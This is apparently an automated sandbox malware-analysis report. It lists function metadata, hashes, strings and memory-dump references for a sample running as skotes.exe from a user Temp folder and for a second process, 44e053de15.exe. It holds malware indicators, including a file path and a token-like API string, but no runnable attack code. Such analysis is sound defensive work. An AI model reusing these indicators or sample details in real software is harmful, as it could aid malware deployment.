Part of subcall function 009AF968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 009AF9C0
Part of subcall function 009AF968: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 009AF9CC

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 009AEFDD

Part of subcall function 009AF40F: Concurrency::critical_section::unlock.LIBCMT ref: 009AF433

Concurrency::Context::Block.LIBCONCRT ref: 009AEFE2

Part of subcall function 009B0366: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 009B0368

Concurrency::critical_section::lock.LIBCONCRT ref: 009AF002

Part of subcall function 009AF891: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 009AF8AC
Part of subcall function 009AF891: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 009AF8B7

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: e0e1352f3aa7e7820f4503554de7ca17f728da815bba557ae40e3198cf3e16c1
Instruction ID: c5ab7278d9eb1d9651ed315a5d49609c14c656266f1b272daeb4ba6a14e6ad5f
Opcode Fuzzy Hash: e0e1352f3aa7e7820f4503554de7ca17f728da815bba557ae40e3198cf3e16c1
Instruction Fuzzy Hash: 17E048355015059BCB44FB64C4A576DBBA1BFC5360B144315E466172E1CF345E86CBC1

Function 009CDFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 009CDFE8

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-1793179972
Opcode ID: ec99e53ddde2b24559c0c12ce84cec1b27d9b9e80fafa2ba70b16fb011ca009d
Instruction ID: 709e6a3dae59a3c0484ba13b71f8776a1327ce156aac3e0ddc9c308ef7efeab7
Opcode Fuzzy Hash: ec99e53ddde2b24559c0c12ce84cec1b27d9b9e80fafa2ba70b16fb011ca009d
Instruction Fuzzy Hash: BD214271E082096F9B30AE659C81F6BB7ADAF40364710451CF92A96192E771ED5086A3

Function 009C1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 009C1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 009C17AF

Strings

pContext, xrefs: 009C17A7

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: d1440cde30585fc51e75c216123de9cae34bf83945ff9e3698f0309a2705ebdc
Instruction ID: b76e5de9083dc14557dfe9663899ad2dd61b14b65f8cd5ad5ee96eb57628ca77
Opcode Fuzzy Hash: d1440cde30585fc51e75c216123de9cae34bf83945ff9e3698f0309a2705ebdc
Instruction Fuzzy Hash: 31110635E002149BCF15AF18C484F6D77A9AFC6364B15806DE912AB383DB74DD01CBD6

Function 009BB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 009BB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 009BB961

Strings

pContext, xrefs: 009BB959

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 77ce284983ce843f2698dae353e41844c64a747f21a47813abc3e1331a3bd460
Instruction ID: 72deab054c5da2c4078bcd7b5c2f078417458d02e99a268877ed49dfe990d873
Opcode Fuzzy Hash: 77ce284983ce843f2698dae353e41844c64a747f21a47813abc3e1331a3bd460
Instruction Fuzzy Hash: 9DE02239B0020467CB00B766D889EADB7B89EC07287008019E611A3391EBB0AE00CAD1

Function 009B34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 009B34FC

Strings

pScheduler, xrefs: 009B34F4
version, xrefs: 009B34E1

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 5f205e9ce4e2c007dd3207f4ac3c5b5911abe3262cf481c6324a2a96d2185810
Instruction ID: f2d7bc9fd8cff2719d9c9bcde53018bd5944e65379b5c960742e56f490bd2324
Opcode Fuzzy Hash: 5f205e9ce4e2c007dd3207f4ac3c5b5911abe3262cf481c6324a2a96d2185810
Instruction Fuzzy Hash: 87E08C34980248B6CF26FA56D94BBDCB7689B9071DF44C126B854210A19BB49B88CA82

Analysis Process: 44e053de15.exePID: 3288, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	37.8%
Total number of Nodes:	201
Total number of Limit Nodes:	18

Executed Functions

Function 00CBEC20 Relevance: 21.6, Strings: 17, Instructions: 397
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

dc, xrefs: 00CBEDC0
I)^+, xrefs: 00CBED1F
6E+G, xrefs: 00CBED57
7U9W, xrefs: 00CBED77
E-A/, xrefs: 00CBED27
8]S_, xrefs: 00CBED87
P!N#, xrefs: 00CBED0F
<Y?[, xrefs: 00CBED7F
5Q<S, xrefs: 00CBED6F
j3aUDY3aeWLdcGsJ9f5a_a2khnnbc8XpmOBYbeoSjy4-1730955676-0.0.1.1-/api, xrefs: 00CBF11A
O9M;, xrefs: 00CBED3F
M%E', xrefs: 00CBED17
eI?K, xrefs: 00CBED5F
6, xrefs: 00CBEE5D
>M"O, xrefs: 00CBED67
jabc, xrefs: 00CBED8F
&A-C, xrefs: 00CBED4F

Memory Dump Source

Source File: 00000007.00000002.2952172715.0000000000CB1000.00000040.00000001.01000000.00000009.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000007.00000002.2951907419.0000000000CB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2952869868.0000000000D09000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953116177.0000000000D0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953330675.0000000000D17000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955289428.0000000000E6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955573538.0000000000E71000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E86000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E91000.00000040.00000001.01000000.00000009.sdmpDownload File
